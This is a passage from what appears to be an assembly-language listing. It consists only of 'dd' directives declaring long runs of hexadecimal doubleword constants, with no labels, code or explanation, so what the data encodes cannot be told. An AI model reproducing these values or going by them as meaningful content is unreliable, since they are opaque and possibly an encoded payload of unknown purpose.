0B3B1C1C6h, 0CB5E417Fh, 877C877Fh, 46495638h dd 0F0EAD133h, 0E61B1EF2h, 17E925B4h, 8B27F87Ah, 712E764Ah dd 0BCF388Ch, 2F9B652h, 696D855h, 0AE5A4258h, 0F9BABB24h dd 2D5E3F95h, 5C770052h, 95307231h, 0CD6E63D9h, 1061A42h dd 0F46AF40Eh, 0D4031248h, 96E0AE29h, 3F6D41CAh, 0F71342B6h dd 5C6DFF84h, 6CF0899h, 7E0DADF9h, 0F5EA4D64h, 15B92A56h dd 0C8A0A34Fh, 2C28A802h, 49089A59h, 2880837Fh, 1FDE9D5h dd 27CBE7FEh, 0DA7397FEh, 0B46758B2h, 36D98CB7h, 0B15A51CDh dd 0B95E99ECh, 2DAA9BB3h, 95A20BF4h, 0BED6170Eh, 0F6A18C2h dd 0BAB06BC4h, 0E3607E8Ah, 7080E955h, 49CA56B5h, 0E19F8266h dd 0B878FDDFh, 9E0F8D6h, 77127068h, 5D2F5B3h, 891CF17Fh dd 6C7FFDBBh, 0A3C5B70Dh, 6044FE9Ah, 0B96CDAEDh, 6279AD06h dd 82212F58h, 790A4A82h, 3659EB6Ah, 0E966F4ADh, 7F25EADCh dd 5C13C567h, 9713CCAAh, 0EC49254Fh, 66B0DD28h, 133E316Eh dd 0A6E6922Eh, 6C37A4FAh, 0C841CC41h, 779744D2h, 0C02413FEh dd 53122CCDh, 3D43B738h, 0A0407F8h, 80CED028h, 0E9ACB252h dd 85C3FF7Bh, 0AFF55EA9h, 5EB73062h, 9C712DC1h, 4ED7F6EBh dd 0B45D0E09h, 6368109Bh, 99E90C0Fh, 448C156Ah, 6FF7762Eh dd 17845BFCh, 7B5108Dh, 30B5A1Bh, 39F101B4h, 1D60E82Fh dd 0F46DC280h, 0C5880B03h, 0BB97D484h, 69307529h, 0F1F3C33Dh dd 24640D7Dh, 590EA566h, 0E329C309h, 2189EF8Bh, 16249C7Dh dd 0A83C91E9h, 4A68E054h, 0C5E9B6Bh, 2D4C7E96h, 0D8633309h dd 8088D077h, 4B456807h, 0ADF88C53h, 2AE14C0Fh, 0FD3F89E9h dd 0E5C9D61Bh, 5C4E89F2h, 147D609h, 6824BC6h, 78FCAF96h dd 0BF4C8EA9h, 5DA748D6h, 0E926F93Eh, 598B1A35h, 5CEC0957h dd 0D8712D98h, 0C522C490h, 68C83105h, 1E8D088Dh, 0F2D72757h dd 0BD08D6F6h, 2D31F1F0h, 58C14F71h, 8CD46432h, 0E7DAEC1Ah dd 6AB1C55Dh, 132F108Ah, 2C1C6B3h, 0EF81B42Eh, 0C7598DC3h dd 9AB13FE1h, 0D31D892Fh, 9BD280C5h, 0A7B8151Ch, 51AC5925h dd 483C30E3h, 35587757h, 2E0270BFh, 0E6C17E76h, 98DE7802h dd 720505C5h, 1467BF6h, 8A4B6CC7h, 9DD13B74h, 0BEF853C3h dd 0B2FCB563h, 1CC10820h, 370A0768h, 983618A0h, 0E9C0889Ch dd 3BB79AD0h, 3F93F729h, 2BCBAAE6h, 265DAF5Eh, 9FBF452h dd 7214B8Fh, 9601C180h, 0A321A610h, 590306F9h, 0FB9E84ECh dd 0D0D37FE2h, 2959D15Dh, 0CD1DA2B8h, 395701E5h, 2DE960B0h dd 58517A10h, 5F93B4C8h, 0A32E1D2Dh, 5C68C13Dh, 0FA2142A6h dd 3B51D869h, 0B4F56693h, 405498E2h, 3700B87Dh, 0D7B126Eh dd 3A5475EDh, 0C7FCE932h, 30DFCEFDh, 0F03060F6h, 685A7BC1h dd 467491Bh, 2F43A58Dh, 7F89E080h, 0B0415AF9h, 559AADE0h dd 5359CB00h, 0BA4DC3BBh, 0A35AB76Bh, 5051074h, 5BDE29ABh dd 2D07C0ADh, 993F4069h, 20BC805Ch, 229C98B9h, 6AA9DB42h dd 0AEB23AD8h, 7202950Bh, 41F1E380h, 0F0C7774h, 3E7606E9h dd 79E409BBh, 2300269Fh, 128E2EE2h, 18042F90h, 893373F1h dd 0CE05B7E8h, 47D4AAE9h, 324EC28Dh, 0A0680AEAh, 203A6866h dd 0BF42504Ah, 84190148h, 810093DAh, 0C834CEEAh, 28AE284Fh dd 0A341729Bh, 1F876260h, 9F280378h, 0A10756EAh, 11DA7F7Bh dd 9A17BF43h, 70472140h, 3DFC1936h, 4F4D9C8Eh, 0A58DBE04h dd 7005A5A8h, 747E13DEh, 0ED3B0496h, 0F831049Ch, 5E715EB4h dd 0BBC0B4DEh, 9D65A26Ah, 0D534E309h, 59DF7F92h, 0EA976F64h dd 2112392Fh, 387EA79Eh, 695FD050h, 9C444A5Ah, 0ECAFD6EDh dd 324E86F6h, 41E0971Dh, 9630217Ah, 19C40C3Eh, 0EC545BD0h dd 8C52851h, 14BA5228h, 0B707D09Dh, 0C7815DC5h, 2B214FE0h dd 217942Eh, 0FAE95D08h, 554A5158h, 939E70B2h, 0C006FDBDh dd 4DFB4086h, 0C6549D01h, 5D120C68h, 0AC5A33ACh, 0C8B6E13Ah dd 802D886Ah, 0D368D841h, 0A680503h, 0C5C7719Fh, 3E07142Dh dd 412187B4h, 65DB1Ah, 7FEA7AFFh, 5CEB599Fh, 0FB099394h dd 9250B117h, 80895A2h, 799E08C2h, 8A823C26h, 403BFA29h dd 487006BEh, 0B5781861h, 14352A00h, 655A25C3h, 40BA3EA0h dd 68B75A26h, 0B474EF11h, 17D74950h, 0E95B83E7h, 6400EAA4h dd 0B35316B5h, 73C38091h, 0A7F33B73h, 28A4EB00h, 0F08DE9DDh dd 0BB40BA94h, 4C4611E1h, 2506463Ah, 0C424D1Bh, 6D2EFD0Fh dd 47E38069h, 767D2A49h, 0B3044FC1h, 40D6BEAh, 0B7A28436h dd 48A4FD4Bh, 352F0948h, 0C14900CCh, 80444E54h, 62000EE9h dd 0C8896929h, 3822D59h, 53F4A0Ch, 35F7EB11h, 5E930401h dd 0D425BA1Dh, 7CDA8409h, 565B0214h, 225879E9h, 0C1F85C4Fh dd 2EEB6809h, 0C263925Eh, 9AFF856Eh, 0FE1F1483h, 66ED87E2h dd 0E1AA0583h, 402BB790h, 33BA1A63h, 0C2B87B35h, 742D660Fh dd 0E9C56192h, 0F16D4756h, 39FDFC07h, 0B0D6B43Ah, 0A45A6848h dd 41CD9BD8h, 3707898h, 0B27E3CEEh, 0CA32EA11h, 2B1C7FB5h dd 0B753B801h, 5BFA206Ch, 458BA879h, 8BBD3960h, 70237918h dd 2527D9CCh, 58546120h, 0D2EF2C13h, 0B66290F9h, 61FFACC2h dd 0C4380939h, 0F3CC5C2Fh, 90883071h, 7B098155h, 0EAF6D897h dd 7C5FFFBh, 0FC651E79h, 0C509FCB4h, 2488863Eh, 0D0283D6Eh dd 0FEAD5F13h, 0BA687570h, 6E709408h, 27D76A87h, 0BA8E75E9h dd 0E45A6EF3h, 3862DE47h, 7765F987h, 0F0B02ACEh, 9D4D9Ah dd 1AD04718h, 0CEF20081h, 970C907h, 0DFA05AD6h, 73130ACDh dd 8AB2152h, 5F259EBAh, 63E90433h, 0E5B87BE7h, 0A0D4E5B7h dd 2DB25BB3h, 12EDC904h, 0D5EE184Ah, 2E5E0577h, 0EC36814Dh dd 0A8FD3BC5h, 628FA4Ah, 75B232E9h, 7857C66Fh, 0BB0CD202h dd 7FC00E97h, 0C17B4D48h, 9F027C0Ch, 2CEE2B69h, 537ABE19h dd 6AB2A4Ch, 41260929h, 495E31F0h, 62012314h, 69CD0FB2h dd 0CCE98219h, 0D1BF0114h, 2E2CD92Bh, 0D332A3B2h, 20DDEE10h dd 1F707E95h, 51CA9856h, 0EAD50705h, 961495F8h, 0E05DC40Ch dd 0D3995105h, 0F4685260h, 42C4054Bh, 28592E9h, 0D943B263h dd 12E0B8E3h, 0E75F839Bh, 0F8F421BAh, 0B1580398h, 12C29310h dd 0C14E12FDh, 0FECEDD73h, 86608B85h, 20EC645Dh, 8F829BA9h dd 6870185Dh, 0E9764080h dd 9764222Ah, 154AD5F6h, 0BD2D7B3h, 0C6FDD7D2h, 0A2C69F36h dd 295F2DFEh, 0A2E19289h, 4DCC1F6Ah, 200A648Eh, 9B92D377h dd 0BCF6813h, 1A3E08CCh, 6806C861h, 290AEA74h, 920296DFh dd 434DB445h, 9016FF48h, 2B25041Eh, 0B524CF4Bh, 7AF0F873h dd 835475C8h, 508E8C1h, 2E8B1CF8h, 19CA214Ch, 0BE93F640h dd 47E8B57Fh, 0AA27D261h, 587A054h, 218615Bh, 5730197Dh dd 0C7DCC17Dh, 13420846h, 0BCF26343h, 577B270Fh, 5FB84813h dd 44956695h, 0AFEF5AABh, 0B0C2CF64h, 2B3A97Ch, 0C681E273h dd 0F1C1BF18h, 0DE84404Ah, 42EFDDEDh, 0ADE83EEDh, 215A1B68h dd 6FB61C20h, 306A17B4h, 0B2300BF4h, 97B96CE0h, 19370F12h dd 27E1EB41h, 0C33EC32Bh, 0F5F19DFEh, 0BBBC7B7Ch, 0CACBE9B0h dd 0C327F1B7h, 0DD91FB87h, 0FF4F3045h, 82FC03D3h, 0B80DBB17h dd 1D4ADE6Ah, 0C981AF11h, 527B795Dh, 0A5C1909Fh, 9BDAE240h dd 2AF00683h, 0B36B296Dh, 0FBE0C105h, 1DE4EC8Eh, 299640B1h dd 7420AFEDh, 7BCD46FFh, 9E498DA4h, 51490CBDh, 49EA3C55h dd 7662B0F3h, 0EC5BB034h, 918C92BDh, 0D6139A92h, 0D3BF025Eh dd 60D52234h, 2710C1EDh, 0A2DE955Dh, 4877425h, 0EF92210Bh dd 0C8BD8913h, 822BE912h, 42E14376h, 0FDCBFC02h, 1CF47114h dd 5EE82FFAh, 295FEBD0h, 12D95131h, 0BE1D80F1h, 0D00B07B9h dd 0DEF769h, 0AD8BACC1h, 80849A83h, 307D2CEFh, 0E30C09B2h dd 0F3F38960h, 4C62C7F8h, 0C1070391h, 256533DDh, 0E98449B8h dd 681CD061h, 18B74836h, 2E78BF9Bh, 5AA15FF4h, 0D6009F5Ah dd 0B94FC474h, 510FDC32h, 0B06BCF65h, 2F7B9246h, 3DA40B5Eh dd 275975Eh, 89B8500Ch, 5CB7860Fh, 0D85E5A76h, 32DFA56h dd 22FD7102h, 9D6990FFh, 47B810F0h, 0BC27547Eh, 94227DFAh dd 63916F16h, 6B0F3CAh, 5616F387h, 9EA25E52h, 592C074Eh dd 99F25F5Bh, 15C92957h, 4909AC5h, 1381C3Ah, 95C732ACh dd 0B4052045h, 5A2707FEh, 61FE8E89h, 513E199Ch, 7FAF0C80h dd 2E92D31h, 84364C5Dh, 8904A275h, 0BD4E81E1h, 53F5108Ch dd 79562F28h, 0ED013652h, 9D203C25h, 2530EA31h, 3A0D8087h dd 5134A4Ch, 0B40BAA2Dh, 2B77E5FFh, 0C4688BD0h, 2736927Dh dd 31DA7113h, 14BC8290h, 0B576DA27h, 0E45DAD27h, 5812AE16h dd 322CB0E3h, 4466973Ch, 0B9E4A79Fh, 22B6041Fh, 0CBE14902h dd 0AA7269F8h, 0C1B662CDh, 2DBFBB37h, 0EB823C1Ah, 6902A850h dd 291C6247h, 0B29ADD74h, 8D660C0Bh, 4ED6E94Ch, 78682A20h dd 20672C46h, 0A1F91840h, 0EA1EB652h, 4DCAD6F6h, 263D3DC2h dd 0EE83DC7Ch, 0FE472888h, 2D7390Ch, 8D7C7A2Fh, 0CD008A0h dd 685A2514h, 2F68556Ah, 686C03A3h, 646E1C31h, 0A76E4B75h dd 0C86470D6h, 31AAA27Eh, 24C0AAAAh, 0DB2A930h, 58D37C9Fh dd 0C04B685Ch, 0FAD71BB8h, 0A846960h, 205F9855h, 0D006AEDh dd 50F64CC5h, 1EB13F05h, 0AC012C09h, 454E1601h, 983E1ECCh dd 803B4D28h, 0F03080F6h, 2C110C5Ah, 0C5882E6Eh, 175A394Eh dd 8B45A32Dh, 0BF0478A5h, 866271DEh, 0F2000960h, 4A084233h dd 3E1C113h, 7EDD3FBh, 83B406AEh, 7A4689E9h, 0F0C601FDh dd 89422BD9h, 0EA7C30F7h, 4E3A500Ch, 10140C3Fh, 459BE31h dd 1C83279Fh, 40EAE8AFh, 7A31E908h, 4E89FB90h, 0F816CD3Ah dd 54B460AEh, 37D7062h, 0AEFCD621h, 49FC0999h, 35F3975Ch dd 684C60AFh, 0C13962A0h, 0E1FC5045h, 0E120D4Ah, 4ADB985h dd 4CC15F5Eh, 0C01AE11Fh, 8005E207h, 0D700B7EAh, 7CFA885Ah dd 0F807F25Bh, 0F0974AC2h, 0E4BF6FE9h, 3F2E038Ah, 0DA290976h dd 2C08F441h, 9DDB163Ch, 53523045h, 71C05D80h, 6D6D580Eh dd 0F18E4201h, 649CE992h, 8B0E05A6h, 0A270B966h, 0E0831C5Dh dd 0AA98B730h, 7708A291h, 0FC8803ABh, 2AFCF7FAh, 37AAEF97h dd 0E872D20Dh, 6820F3FAh, 8122DC4Bh, 31476234h, 0A4D7C9FAh dd 87144B08h, 95EA01DCh, 0E9130A2Dh, 948DE145h, 0B4EF4F2Fh dd 68FF90F2h, 0B027619h, 56F483BAh, 0B688E10Dh, 502AAA3Ah dd 3980E909h, 0AFE1B057h, 0F23DC0F3h, 1CD270C9h, 1099894Ch dd 694882E5h, 38A9BD19h, 0B02E7066h, 0C1302727h, 5965818Fh dd 0E9F0786Bh, 94D204Dh, 5712D768h, 0E9272A96h, 0A89B7640h dd 9D3DF045h, 6B5E5F1h, 499247BDh, 0A4F458A9h, 2ABAE961h dd 0CCD0219Dh, 0E1958478h, 25484E09h, 29BE000Ah, 0B7180162h dd 8B752409h, 251454B3h, 7CE6B4C0h, 909BE697h, 0A90E623Dh dd 9AF6761Eh, 0A0D57CAFh, 763AE0B8h, 9E92C06h, 6DF7A5D6h dd 4BB12072h, 46444466h, 1BA138Fh, 0AA2BBDE0h, 5590F102h dd 1251F883h, 0AA3754Eh, 0CBC0DB2Dh, 8D70C380h, 25C4E8E7h dd 0EC95792h, 0F61E2950h, 6850D042h, 0E59D4070h, 8F0B2D94h dd 12527307h, 67546D0h, 970F5756h, 0EE95BF70h, 0DE4228Ah dd 5F8B4338h, 83B162FBh, 1F206801h, 935429B4h, 12E15D16h dd 4010633Ah, 621FAAF9h, 1B892E33h, 4B7C5373h, 6701B155h dd 4B764A32h, 0BD62007Fh, 18B158F5h, 1A5BB807h, 33F2FDE3h dd 29C7D50Eh, 507CD425h, 0FEABAAA9h, 41C09E01h, 3558730Fh dd 0BE5D0640h, 422E1320h, 5010FE1Ah, 7E7705A1h, 18AA65CAh dd 0EB810629h, 9BE90BA0h, 76598995h, 0E868D08Bh, 0E4F8654Ah dd 7359C2B4h, 46DAC11Bh, 0C8FE0854h, 8C13C320h, 1B166030h dd 888397B5h, 6B3A851Ch, 3E9F22D9h, 62B2EC41h, 84351870h dd 207EAF00h, 0C3A61A1h, 30A046FEh, 5E63EA02h, 0BACA88BCh dd 0FBC4785Ah, 0A360136Fh, 31BFD70Ch, 7F5CE79Eh, 303A297Dh dd 0E1F8E933h, 0C08F7CBFh, 0C9BBB9B8h, 0E9E3E050h, 26447C0Ch dd 0B46D0C29h, 22712F8Bh, 8CC25244h, 41335EA9h, 6C3E4468h dd 6C90DE0Fh, 4834BE03h, 0E2D1339Eh, 6F113658h, 33178F8Bh dd 3B2C21AFh, 64AF2AC2h, 0D246E221h, 4EC1D5A0h, 7FA7B46Dh dd 1E8182Eh, 27A9F700h, 528938BCh, 0D218F2FBh, 0FDBE815Dh dd 293DB074h, 65E44AEEh, 0BF04D65Eh, 0DF529AC3h, 2E04C908h dd 686E8C6Ch, 96779538h, 7035A0Bh, 0B5442FBAh, 6F4003ECh dd 0A3704A27h, 15281341h, 3226AEBDh, 580917DAh, 0C8266518h dd 0C9F0ADA6h, 4F306040h, 0E2DFBD8h, 516E983Fh, 0A0B75301h dd 0FD3032B5h, 0C0DBEC2Ah, 5208E5C0h, 0F6EE1D88h, 5AF501D6h dd 2646AD68h, 17B617DBh, 905AD98Ch, 0B1E3275Ch, 509474Eh dd 5EEA7FF9h, 0E3F2CB7h, 0FA1202BCh, 0C15A29F7h, 6A5B8A2Dh dd 44C465B8h, 4CD4E242h, 735B10BBh, 6003292Ch, 6A5D22B5h dd 0CD055800h, 0E961DB3Dh, 0A075BAF9h, 974CC006h, 0ED1316C5h dd 0D666F4BDh, 4B72E62h, 7EB896E6h, 6F28016h, 358A1D29h dd 0A2ADEB5Ah, 5A2FA84Fh, 8930AFA9h, 955DE9D2h, 89C3E3CBh dd 71213F4h, 3E0ADE3Ah, 58C16F2Eh, 3E42D657h, 8062BB5h dd 5914811Ch, 417E42A7h, 0AB92992h, 9099E985h, 30ACB47Ah dd 20A8CC5Ch, 0DAF62806h, 80EE0EF6h, 0EF667CE7h, 0F92F06B4h dd 7287D530h, 5DEAF227h, 0F57F0B55h, 0C479B546h, 7A3D5F81h dd 31837285h, 67DF94h, 0B16E8BDh, 448107F8h, 0D29D6D46h dd 82E9126Eh, 53B6FAF6h, 71D92B7Bh, 616806FAh, 20251D1Eh dd 1109C87Dh, 7C8880A4h, 0D8C244Ah, 0D8E8410Bh, 4E4BDE68h dd 64E6AF30h, 0E95A0872h, 51163098h, 0BA529E70h, 336D17A0h dd 0CFFF0817h, 46EC5C17h, 0F7DA8706h, 681808D3h, 0ED9B440Ch dd 205F8189h, 40500E2Fh dd 859DE054h, 0D0A25E2Ch, 2020626h, 528D698Bh, 18BD8081h dd 39730DEh, 89BEA04Dh, 343EFD34h, 8197D9EBh, 74ACE517h dd 0F5D839F3h, 0F421134Eh, 0EDC1FB0Fh, 1833AF84h, 0C3C7B45Eh dd 0B003D102h, 4866E97Ch, 97C60118h, 0F569F6FEh, 852FCCA3h dd 0E6354400h, 68298440h, 0ED3F4F6Ch, 66118190h, 5AD93AC4h dd 0E401B86Bh, 848DE2FEh, 0B8BA871Bh, 5988C4FAh, 0C41E9910h dd 0EBA39395h, 913E2CBh, 2DFACDEh, 0EF70ED18h, 478BFC29h dd 957885E9h, 1604FB9Eh, 530FA794h, 0EDB706C5h, 461925EAh dd 5AA1B0A7h, 0F9144965h, 5A16CED8h, 3CFDF021h, 0F3E8BC89h dd 0D1957955h, 0BFA4C9F1h, 8C65AB68h, 0AC105B1Fh, 6C26631h dd 0F5CDE8C4h, 43B1FEB5h, 0BA849B44h, 0E9E0FAE9h, 7FE11CAAh dd 2681E7A2h, 70156C54h, 0B9813B62h, 0E550C932h, 0B826A048h dd 0D55E2DE6h, 0D8A7BF73h, 12D62099h, 56D83117h, 6E8656FDh dd 0B117B46Bh, 12BB281Dh, 1CF2AF35h, 67F68080h, 7E4E40E9h dd 0B7853EF8h, 71CA21DAh, 2EBF00A3h, 7E292F52h, 580139D0h dd 0E90C8710h, 0C3DCF8Ch, 1CAA0B26h, 0C0E18040h, 4969AA22h dd 0F6004690h, 2920D321h, 0BEF5E9D9h, 0B252013Bh, 60D43093h dd 0FFAA84F7h, 25833DE0h, 5D67E112h, 1807A310h, 51505E5Ah dd 392C1238h, 208AEB29h, 4B806809h, 0DB889051h, 0D9BB01F2h dd 6A6B6561h, 2F37F6E0h, 41D04F0Ah, 71246771h, 2902C719h dd 5F391726h, 0D90955DCh, 0D175A7CCh, 874CDE2Eh, 43596D9Fh dd 0A2542D60h, 89CBE9B5h, 0A7D357E7h, 0D4B5D322h, 1AE978EFh dd 5CBD7070h, 0D7F76096h, 3B4CBD55h, 2C382C59h, 0E84E7F10h dd 50E7B2E3h, 4B309052h, 4BA8E005h, 0D8A0DAC1h, 0BD2EF713h dd 0ADAAC5FBh, 7BFDF6EAh, 3AA62327h, 0BFC100BEh, 0C236FB1Bh dd 8725E963h, 0D69D0444h, 60F53DC3h, 59EE3F80h, 0D0177D01h dd 4964F329h, 2F9DF3EAh, 5CE009DAh, 5746E238h, 0C957515Dh dd 255EC5D5h, 0B252C575h, 103DF92h, 0D732A2CAh, 62DD8789h dd 0E69BC10Fh, 654D07CEh, 0C7D4AA15h, 0EE098CECh, 0E3854629h dd 4F93BDA6h, 0A886B0ACh, 0EF75EFFBh, 89892250h, 0F65FF82Dh dd 18DF2F7Ch, 9F68ABBEh, 0A3096766h, 369B187h, 0A262B9FEh dd 0E5E7D832h, 0B3E90840h, 49492B5h, 8D6F9DBAh, 0D66C234h dd 72920851h, 5ABEE240h, 25E266Fh, 41DCE681h, 5044696Dh dd 0D16BA025h, 10D7AF74h, 0BE2E8ECEh, 85CA6D4h, 0A220CCC5h dd 0F383AA71h, 58C7FAD6h, 0EC50671Eh, 0A0554551h, 7D03054Eh dd 0F7472834h, 0E4045BDFh, 640CC704h, 0C356C6Dh, 620A12C8h dd 7307BBA2h, 0D7091B65h, 5726B445h, 4D8C6D02h, 0E92CC095h dd 1BF94BDh, 1E5FAA25h, 97CCE801h, 2EB8596h, 0FDB85903h dd 0B48EF853h, 2DFE1786h, 5682026Dh, 0FDB4EB0Eh, 0A9908683h dd 5AEE4525h, 5CE9335h, 0BE393BE9h, 5AE00728h, 561CCA6h dd 46418A06h, 4F580128h, 8102F4B8h, 5148ED02h, 0DC2165E5h dd 817F5AADh, 26B56830h, 35C56F2Ch, 0D67CB93Fh, 5878B304h dd 4C3B107h, 0ECB282CBh, 53C97D0Dh, 7B575D02h, 1FF22584h dd 237CD836h, 985F5F57h, 0EA800CD2h, 58B29F7Bh, 0E98933F9h dd 903658FFh, 14534C91h, 0DD10FD04h, 7168018h, 0E74A22EFh dd 0AD3388EFh, 0D144A75Ah, 4AA466F8h, 0E1F4B734h, 6917B05Ch dd 0F37738F4h, 5A7FBFF8h, 3A47CFBBh, 31EADE35h, 2B52D7DBh dd 7110E041h, 5C600B22h, 0EB45C08Ah, 0F41FA85Ah, 3E00FAB0h dd 835D7B4Bh, 3501E8h, 202B5B58h, 0E050AE05h, 0E529F628h dd 2802BE4Eh, 480B9368h, 0C0C4E817h, 0A12ABA54h, 292D7901h dd 844A45F2h, 0B9AD54E9h, 0B7D212D4h, 18AF9B3h, 2AA709FCh dd 0D5E90F7Eh, 29908E72h, 0CC57080Bh, 9403853Fh, 85CDAB41h dd 40F62635h, 25B5E44Eh, 7D79C510h, 72EEBFB9h, 2749B10Fh dd 685B873Ah, 27A52606h, 5FF47A5Ch, 0C0537178h, 0D4DC769h dd 872D5238h, 175384EFh, 711B3A87h, 0D0094401h, 59A7253Bh dd 1089A658h, 0BF789299h, 90027309h, 36413AAAh, 51F07B4Eh dd 0E9CF1609h, 0A2CDEEDEh, 0D710AE69h, 595B1D4Fh, 0FF6533DAh dd 12D75E5h, 79C26832h, 0DE103576h, 285909B3h, 0A6C584E3h dd 2B5A5807h, 0E10825Dh, 0B65B049Eh, 95FE14BCh, 486381C5h dd 228075D5h, 39D2139Ch, 0F35E9AE9h, 90D0D2D1h, 0D2DFD03Ch dd 0BBA8C5CAh, 8AFC212Dh, 93E39478h, 9817BB9Bh, 0AC5E3ECCh dd 0DFD09DCDh, 72E97CB5h, 7B88575Eh, 7CD02753h, 0ECE3C32h dd 15A89042h, 357B160h, 6BBB23C7h, 1D53D206h, 240C7EABh dd 164EF047h, 0C080BB31h, 0B70829C4h, 0F5C17000h, 6FF355AEh dd 3A34818Eh, 1BC7EB83h, 372F183h, 32A2BE1Ah, 9DD27BDDh dd 2EFEB5CAh, 0A3E68252h, 202E5A4Eh, 0F095496Bh, 93595FB7h dd 75F2FA45h, 283B9AD0h, 9C9193C8h, 0FC425AFh, 0C141587Fh dd 0A5F789F4h, 0AC0C5C34h, 0C95CAF31h, 0A6ECE985h, 0D68FC8Ch dd 1002D9F3h, 59BD2F9Fh, 0EF5E6013h, 7F27F531h, 2240F602h dd 6082D4BEh, 2E4F858Ah, 5A7A0AFDh, 0BD6294CAh, 93BDE363h dd 5EB2EFE9h, 6815104Eh, 70AA78F1h, 18997F4Bh, 7A8B053Eh dd 0E8DDAB2Eh, 2057A92Ah, 5CB80785h, 0A6154B67h, 7EB772EBh dd 26E9D02Ch, 9232054Ah, 0FFC48657h, 0C009517Bh, 95CCF321h dd 0C28B4883h, 1A508705h, 6194AB71h, 22440817h, 0A3B46186h dd 7D6E16BEh, 0E684AE6Ch, 0C559080Bh, 5C5D8D7Fh, 0F3456011h dd 0CFB6604Eh, 8C00D559h, 0E90E780Ah, 0EE959403h, 0C9801C69h dd 28C1C138h, 11612268h, 0B70176EDh, 7AF83CC6h, 0CD12745Eh dd 4FF704A0h, 0D5A446Bh, 8B5DAF67h, 4A966F04h, 0A0CA380h dd 10513C5h, 1F428AD0h, 0DC40E335h, 319D0525h, 9149500Bh dd 5B6D04AEh, 0E1A4E913h, 0B8F07E4Ch, 2B2F13BBh, 42910021h dd 0E933CF2Ah, 1C121127h, 5189B772h, 7F342BFFh, 0F72F52EDh dd 8EC12CBAh, 0D7590242h, 0AF64FFAh, 14FC5C4Ah, 6C81B1h dd 17AA3B1Eh, 8553E927h, 0E081121Fh, 3025D10Ch, 0E32DCF5h dd 0C567D8E5h, 0A2ED60B2h, 8D99EA28h, 72BD840Bh, 64A417FAh dd 0A400BA76h, 6FD02A79h, 3AFA9745h, 30636E06h, 5D365667h dd 770CB19h, 0CD8058E5h, 1CF531EBh, 0D1C83F30h, 6175410Ch dd 29C5DD5Eh, 65FE2E8Fh, 220F243h, 251DBF22h, 0C8773663h dd 3B0449BDh, 0CF056FDCh, 1F06672Ch, 8FD1C0B9h, 0C1E91F3Fh dd 67BF755Eh, 0A86CB545h, 9190784Dh, 745992F0h, 0C509123Ch dd 0FE85D616h, 0DF16C3ECh, 0F1654379h, 85AD6F7h, 771C9BA6h dd 0E94E8F7Ah, 3B3B6F4Dh, 0EF2B31B1h, 54084E65h, 9F82062h dd 0F59D8B5h, 2E65EDC0h, 0C61AC69Dh, 0A0D3022h, 0C31EB1Eh dd 1BB7299Eh, 2568118Fh, 32D10CBAh, 0D028C55Dh, 0F895C12Bh dd 2034BA70h, 87A0396Bh, 2A71439Eh, 4EE4248h, 158D4BC2h dd 238A2EFh, 976DD3Eh, 2955E189h, 5363413Bh, 72D481E9h dd 84F772Fh, 0CEBB8317h, 500510D0h, 53D00178h, 0E7804FB7h dd 0DDF47B15h, 0A0B8308h, 56B55107h, 28EE0F0Dh, 651BE962h dd 4968F9DFh, 4B3EF953h, 0FB2F1BF5h, 0DA6F3C39h, 0CD7F1603h dd 52242CFEh, 6B3AEF90h, 0BA68814Eh, 97ADB199h, 13BEAC3Ah dd 0BF81821h, 43B5B7B4h, 0D8E90948h, 6F98F51Eh, 0C7C068BCh dd 0D3255DE8h, 73E21333h, 6C02EF40h, 72F929E9h, 60620890h dd 519D0E80h, 92B2C11Dh, 2D0AF458h, 4D3D19D3h, 78EF4B95h dd 544BAD03h, 0E16152C8h dd 0F411BC2Fh, 56A98C03h, 0F5688802h, 0E349BD5Ah, 73F7C224h dd 0BB5AE489h, 27E9BAE4h, 0A168A5D2h, 6D240A84h, 93B6E0Eh dd 57685B49h, 348647Ah, 0E69A0401h, 9B821EDEh, 0FF6646Dh dd 17C10C0Eh, 0AA7F0265h, 6C8990F5h, 2D790542h, 6BB47E2Dh dd 5015173h, 1F8D0E33h, 6C70E12Ah, 3064C3BFh, 0C1EFD553h dd 3AF2EFBEh, 0C13F738Ah, 0C3D0BC82h, 14E4CB89h, 48E95712h dd 398007A0h, 0C39E44EBh, 97D6CA78h, 3A570060h, 0D8F747C1h dd 26BD5500h, 0E98B9EDCh, 150B9F14h, 328C0956h, 90EB7DA7h dd 0EE053E07h, 1C1023CCh, 4D406729h, 811363C0h, 460309CDh dd 0E3803CFDh, 169B7C77h, 95FAE918h, 14AC249h, 5344915Eh dd 517B7D68h, 826711CDh, 6F87C623h, 90B7C0C1h, 0FB35804Eh dd 287A4C78h, 47C2CA4Bh, 0C1F1425Ch, 0D2BB42Ch, 734263AFh dd 40CD585h, 738D25F9h, 74F469FFh, 0A49FE0C6h, 7882C6D2h dd 0FE4968F2h, 5C739F18h, 490990A0h, 5F4A9E7Eh, 8827078h dd 59E23762h, 864DA3F5h, 68102751h, 4D948770h, 0DA1B56A7h dd 278DBC5Fh, 8D19762Ch, 3F176E9Dh, 0E9132A8Fh, 7BF7B1C2h dd 0EB5EE08Eh, 1352CB08h, 0DFE6FD01h, 71589B89h, 0EC5545EFh dd 66F1D24Eh, 0FC132520h, 18C1BD54h, 33F6301h, 0A368C80Fh dd 8097253Fh, 0F6B91860h, 6D8D7E0Fh, 56C66649h, 18BD0588h dd 0C019DF79h, 0A72FF50Ch, 140B3F5Ch, 1384E5C1h, 0E1B85425h dd 0CB39E3E7h, 58C1CF12h, 0CAA86E16h, 83FDD889h, 0C1535597h dd 7A61D7F7h, 0C0679AD0h, 0A164C70Ah, 6967D9E9h, 194744h dd 0E8372FEEh, 4A49FA15h, 96E7B318h, 0B300A48Dh, 0B324CC6h dd 87E92DB7h, 12B50958h, 0A0D758F1h, 1D31A92Eh, 4457DDBh dd 0E07EE9FDh, 6DF6BE5Bh, 7C4B974Ch, 80A1DEB5h, 2BC042F3h dd 0DF25684Fh, 7D3E64Eh, 3627CD01h, 8990DB31h, 0F4BF59D0h dd 0B1514272h, 0B11AB784h, 6DA82A2Dh, 0F959CE16h, 69E9E0DCh dd 0E1FFC044h, 0CA14D9Eh, 807DF1ECh, 50DFDAF5h, 21F845A4h dd 0BEC3920h, 0DF3825EDh, 57617002h, 561F8008h, 81217B01h dd 47D8C2E5h, 0B22EC036h, 45380D46h, 0F740A8B0h, 0C8EF5001h dd 162A035Dh, 58BE5673h, 2A706CB1h, 4072C9A0h, 0C858B5F5h dd 0D0A325FAh, 0CBFE3F1Ah, 0BE4D8D93h, 2BEE0D31h, 44C7892Eh dd 0B1B1BE7Ch, 44F6A02Bh, 2DEE684Fh, 85F52F7Bh, 0BD22FE8h dd 8DE6E977h, 0D2DD4C5Dh, 0A930AA07h, 81104AE9h, 